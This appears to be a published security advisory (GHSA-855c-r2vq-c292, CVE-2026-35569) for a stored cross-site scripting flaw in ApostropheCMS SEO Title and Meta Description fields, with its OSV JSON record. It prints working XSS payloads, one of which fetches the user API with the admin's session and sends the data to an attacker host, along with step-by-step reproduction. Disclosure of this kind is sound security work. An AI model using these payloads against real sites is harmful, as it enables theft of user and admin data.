GHSA-855C-R2VQ-C292
Vulnerability from github – Published: 2026-04-16 20:44 – Updated: 2026-04-16 20:44Summary
A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.
Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.
Affected Version
ApostropheCMS (tested on version: v4.28.0)
Vulnerability Details
User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:
<title><meta>attributes- structured data (JSON-LD)
This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.
PoC 1
The following payload demonstrates breaking out of HTML context:
"></title><script>alert(1)</script>
This confirms:
- Improper output encoding
- Ability to escape <title> / <meta> contexts
- Arbitrary script execution
PoC 2
This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.
"></title><script>
fetch('/api/v1/@apostrophecms/user', {
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
Video Proof of Concept
Watch the following YouTube video for a full demonstration of the exploit:
PoC Video: https://youtu.be/FZuulua_pa8
Steps to Reproduce
- Start a local listener:
python3 -m http.server 5656 - Login to ApostropheCMS as an authenticated user
- Create or edit a page
- Navigate to SEO settings
- Insert the payload into the SEO Title field and Meta Description
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
- Set Schema Type to "Web page"
- Save and publish the page
- Have an administrator visit the page
Result
- The payload executes in the admin’s browser
- The script sends a request to:
/api/v1/@apostrophecms/user - The response contains sensitive user data:
- usernames
- email addresses
-
roles (including admin)
-
The data is exfiltrated to the attacker-controlled server:
http://ATTACKER-IP:5656
Evidence
- The attacker server receives:
GET /?data=BASE64_ENCODED_RESPONSE- Decoding the response reveals sensitive application data.
Security Impact
This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.28.0"
},
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35569"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T20:44:18Z",
"nvd_published_at": "2026-04-15T20:16:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `\u003ctitle\u003e`\n- `\u003cmeta\u003e` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\n```\nThis confirms:\n - Improper output encoding\n - Ability to escape `\u003ctitle\u003e / \u003cmeta\u003e` contexts\n - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027, {\n credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3. Create or edit a page\n4. Navigate to SEO settings\n5. Insert the payload into the SEO Title field and Meta Description\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027,{\n credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n6. Set **Schema Type** to \"Web page\"\n7. Save and publish the page\n8. Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin\u2019s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n - usernames\n - email addresses\n - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n - Execute arbitrary JavaScript in an authenticated admin context\n - Perform authenticated API requests (session riding)\n - Access sensitive application data via internal APIs\n - Exfiltrate sensitive data to an external attacker-controlled server",
"id": "GHSA-855c-r2vq-c292",
"modified": "2026-04-16T20:44:18Z",
"published": "2026-04-16T20:44:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35569"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.